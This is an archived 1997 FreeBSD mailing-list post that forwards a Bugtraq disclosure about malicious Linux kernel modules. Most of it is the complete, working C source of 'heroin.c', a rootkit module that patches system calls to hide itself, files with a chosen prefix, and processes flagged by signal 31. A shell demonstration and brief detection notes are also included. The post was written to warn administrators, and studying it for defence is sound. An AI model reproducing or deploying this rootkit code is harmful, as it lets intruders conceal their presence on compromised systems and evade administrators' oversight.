Date: Thu, 06 Nov 1997 11:15:41 +1030 From: Matthew Thyer <Matthew.Thyer@dsto.defence.gov.au> To: freebsd-current@freebsd.org Subject: [Fwd: Malicious Linux modules - be worried !] Message-ID: <34611335.8601A3B@dsto.defence.gov.au>
next in thread | raw e-mail | index | archive | help
I assume FreeBSD LKMs could do this kind of thing too.
> ------------- Begin Forwarded Message -------------
>
> >From owner-bugtraq@NETSPACE.ORG Fri Oct 10 00:32:10 1997
> Approved-By: aleph1@UNDERGROUND.ORG
> Date: Thu, 9 Oct 1997 00:37:52 -0500
> Reply-To: zarq@1STNET.COM
> Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
> From: Runar Jensen <zarq@1STNET.COM>
> Subject: Malicious Linux modules
> X-To: linux-security@redhat.com
> To: BUGTRAQ@NETSPACE.ORG
> Content-Length: 12203
>
> As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
> to patch any system call under Linux from within a module. This means that
> once your system has been compromised at the root level, it is possible for
> an intruder to hide completely _without_ modifying any binaries or leaving
> any visible backdoors behind. Because such tools are likely to be in use
> within the hacker community already, I decided to publish a piece of code to
> demonstrate the potentials of a malicious module.
>
> The following piece of code is a fully working Linux module for 2.1 kernels
> that patches the getdents(), kill(), read() and query_module() calls. Once
> loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
> modifying the output of every query_module() call and every read() call
> accessing /proc/modules. Apparently rmmod also calls query_module() to list
> all modules before attempting to remove the specified module, and will
> therefore claim that the module does not exist even if you know its name. The
> output of any getdents() call is modified to hide any files or directories
> starting with a given string, leaving them accessible only if you know their
> exact names. It also hides any directories in /proc matching pids that have a
> specified flag set in its internal task structure, allowing a user with root
> access to hide any process (and its children, since the task structure is
> duplicated when the process does a fork()). To set this flag, simply send the
> process a signal 31 which is caught and handled by the patched kill() call.
>
> To demonstrate the effects...
>
> [root@image:~/test]# ls -l
> total 3
> -rw------- 1 root root 2832 Oct 8 16:52 heroin.o
> [root@image:~/test]# insmod heroin.o
> [root@image:~/test]# lsmod | grep heroin
> [root@image:~/test]# grep heroin /proc/modules
> [root@image:~/test]# rmmod heroin
> rmmod: module heroin not loaded
> [root@image:~/test]# ls -l
> total 0
> [root@image:~/test]# echo "I'm invisible" > heroin_test
> [root@image:~/test]# ls -l
> total 0
> [root@image:~/test]# cat heroin_test
> I'm invisible
> [root@image:~/test]# ps -aux | grep gpm
> root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
> [root@image:~/test]# kill -31 223
> [root@image:~/test]# ps -aux | grep gpm
> [root@image:~/test]# ps -aux 223
> USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
> root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
> [root@image:~/test]# ls -l /proc | grep 223
> [root@image:~/test]# ls -l /proc/223
> total 0
> -r--r--r-- 1 root root 0 Oct 8 16:53 cmdline
> lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run
> -r-------- 1 root root 0 Oct 8 16:54 environ
> lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm
> dr-x------ 1 root root 0 Oct 8 16:54 fd
> pr--r--r-- 1 root root 0 Oct 8 16:54 maps
> -rw------- 1 root root 0 Oct 8 16:54 mem
> lrwx------ 1 root root 0 Oct 8 16:54 root -> /
> -r--r--r-- 1 root root 0 Oct 8 16:53 stat
> -r--r--r-- 1 root root 0 Oct 8 16:54 statm
> -r--r--r-- 1 root root 0 Oct 8 16:54 status
> [root@image:~/test]#
>
> The implications should be obvious. Once a compromise has taken place,
> nothing can be trusted, the operating system included. A module such as this
> could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
> after every reboot, or put in place of a commonly used module and in turn
> have it load the required module for an added level of protection. (Thanks
> Sean :) Combined with a reasonably obscure remote backdoor it could remain
> undetected for long periods of time unless the system administrator knows
> what to look for. It could even hide the packets going to and from this
> backdoor from the kernel itself to prevent a local packet sniffer from seeing
> them.
>
> So how can it be detected? In this case, since the number of processes is
> limited, one could try to open every possible process directory in /proc and
> look for the ones that do not show up otherwise. Using readdir() instead of
> getdents() will not work, since it appears to be just a wrapper for
> getdents(). In short, trying to locate something like this without knowing
> exactly what to look for is rather futile if done in userspace...
>
> Be afraid. Be very afraid. ;)
>
> .../ru
>
> -----
>
> /*
> * heroin.c
> *
> * Runar Jensen <zarq@opaque.org>
> *
> * This Linux kernel module patches the getdents(), kill(), read()
> * and query_module() system calls to demonstrate the potential
> * dangers of the way modules have full access to the entire kernel.
> *
> * Once loaded, the module becomes invisible and can not be removed
> * with rmmod. Any files or directories starting with the string
> * defined by MAGIC_PREFIX appear to disappear, and sending a signal
> * 31 to any process as root effectively hides it and all its future
> * children.
> *
> * This code should compile cleanly and work with most (if not all)
> * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
> * It will not compile as is under 2.0.30, since 2.0.30 lacks the
> * query_module() function.
> *
> * Compile with:
> * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
> */
>
> #include <linux/fs.h>
> #include <linux/module.h>
> #include <linux/modversions.h>
> #include <linux/malloc.h>
> #include <linux/unistd.h>
> #include <sys/syscall.h>
>
> #include <linux/dirent.h>
> #include <linux/proc_fs.h>
> #include <stdlib.h>
>
> #define MAGIC_PREFIX "heroin"
>
> #define PF_INVISIBLE 0x10000000
> #define SIGINVISI 31
>
> int errno;
>
> static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
> static inline _syscall2(int, kill, pid_t, pid, int, sig);
> static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
> static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t,
> bufsize, size_t *, ret);
>
> extern void *sys_call_table[];
>
> int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
> int (*original_kill)(pid_t, int);
> int (*original_read)(int, void *, size_t);
> int (*original_query_module)(const char *, int, void *, size_t, size_t *);
>
> int myatoi(char *str)
> {
> int res = 0;
> int mul = 1;
> char *ptr;
>
> for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
> if(*ptr < '0' || *ptr > '9')
> return(-1);
> res += (*ptr - '0') * mul;
> mul *= 10;
> }
> return(res);
> }
>
> void mybcopy(char *src, char *dst, unsigned int num)
> {
> while(num--)
> *(dst++) = *(src++);
> }
>
> int mystrcmp(char *str1, char *str2)
> {
> while(*str1 && *str2)
> if(*(str1++) != *(str2++))
> return(-1);
> return(0);
> }
>
> struct task_struct *find_task(pid_t pid)
> {
> struct task_struct *task = current;
>
> do {
> if(task->pid == pid)
> return(task);
>
> task = task->next_task;
>
> } while(task != current);
>
> return(NULL);
> }
>
> int is_invisible(pid_t pid)
> {
> struct task_struct *task;
>
> if((task = find_task(pid)) == NULL)
> return(0);
>
> if(task->flags & PF_INVISIBLE)
> return(1);
>
> return(0);
> }
>
> int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
> {
> int res;
> int proc = 0;
> struct inode *dinode;
> char *ptr = (char *)dirp;
> struct dirent *curr;
> struct dirent *prev = NULL;
>
> res = (*original_getdents)(fd, dirp, count);
>
> if(!res)
> return(res);
>
> if(res == -1)
> return(-errno);
>
> #ifdef __LINUX_DCACHE_H
> dinode = current->files->fd[fd]->f_dentry->d_inode;
> #else
> dinode = current->files->fd[fd]->f_inode;
> #endif
>
> if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
> proc = 1;
>
> while(ptr < (char *)dirp + res) {
> curr = (struct dirent *)ptr;
>
> if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
> (proc && is_invisible(myatoi(curr->d_name)))) {
>
> if(curr == dirp) {
> res -= curr->d_reclen;
> mybcopy(ptr + curr->d_reclen, ptr, res);
> continue;
> }
> else
> prev->d_reclen += curr->d_reclen;
> }
> else
> prev = curr;
>
> ptr += curr->d_reclen;
> }
>
> return(res);
> }
>
> int hacked_kill(pid_t pid, int sig)
> {
> int res;
> struct task_struct *task = current;
>
> if(sig != SIGINVISI) {
> res = (*original_kill)(pid, sig);
>
> if(res == -1)
> return(-errno);
>
> return(res);
> }
>
> if((task = find_task(pid)) == NULL)
> return(-ESRCH);
>
> if(current->uid && current->euid)
> return(-EPERM);
>
> task->flags |= PF_INVISIBLE;
>
> return(0);
> }
>
> int hacked_read(int fd, char *buf, size_t count)
> {
> int res;
> char *ptr, *match;
> struct inode *dinode;
>
> res = (*original_read)(fd, buf, count);
>
> if(res == -1)
> return(-errno);
>
> #ifdef __LINUX_DCACHE_H
> dinode = current->files->fd[fd]->f_dentry->d_inode;
> #else
> dinode = current->files->fd[fd]->f_inode;
> #endif
>
> if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
> return(res);
>
> ptr = buf;
>
> while(ptr < buf + res) {
> if(!mystrcmp(MAGIC_PREFIX, ptr)) {
> match = ptr;
> while(*ptr && *ptr != '\n')
> ptr++;
> ptr++;
> mybcopy(ptr, match, (buf + res) - ptr);
> res = res - (ptr - match);
> return(res);
> }
> while(*ptr && *ptr != '\n')
> ptr++;
> ptr++;
> }
>
> return(res);
> }
>
> int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
> {
> int res;
> int cnt;
> char *ptr, *match;
>
> res = (*original_query_module)(name, which, buf, bufsize, ret);
>
> if(res == -1)
> return(-errno);
>
> if(which != QM_MODULES)
> return(res);
>
> ptr = buf;
>
> for(cnt = 0; cnt < *ret; cnt++) {
> if(!mystrcmp(MAGIC_PREFIX, ptr)) {
> match = ptr;
> while(*ptr)
> ptr++;
> ptr++;
> mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
> (*ret)--;
> return(res);
> }
> while(*ptr)
> ptr++;
> ptr++;
> }
>
> return(res);
> }
>
> int init_module(void)
> {
> original_getdents = sys_call_table[SYS_getdents];
> sys_call_table[SYS_getdents] = hacked_getdents;
>
> original_kill = sys_call_table[SYS_kill];
> sys_call_table[SYS_kill] = hacked_kill;
>
> original_read = sys_call_table[SYS_read];
> sys_call_table[SYS_read] = hacked_read;
>
> original_query_module = sys_call_table[SYS_query_module];
> sys_call_table[SYS_query_module] = hacked_query_module;
>
> return(0);
> }
>
> void cleanup_module(void)
> {
> sys_call_table[SYS_getdents] = original_getdents;
> sys_call_table[SYS_kill] = original_kill;
> sys_call_table[SYS_read] = original_read;
> sys_call_table[SYS_query_module] = original_query_module;
> }
>
> -----
>
> -----
> Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com
> Network Administrator | or (800) 264-7440 | or zarq@opaque.org
> Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com
> FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]
> ------------- End Forwarded Message -------------
--
Matthew Thyer Phone: +61 8 8259 7249
Corporate Information Systems Fax: +61 8 8259 5537
Defence Science and Technology Organisation, Salisbury
PO Box 1500 Salisbury South Australia 5108
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?34611335.8601A3B>
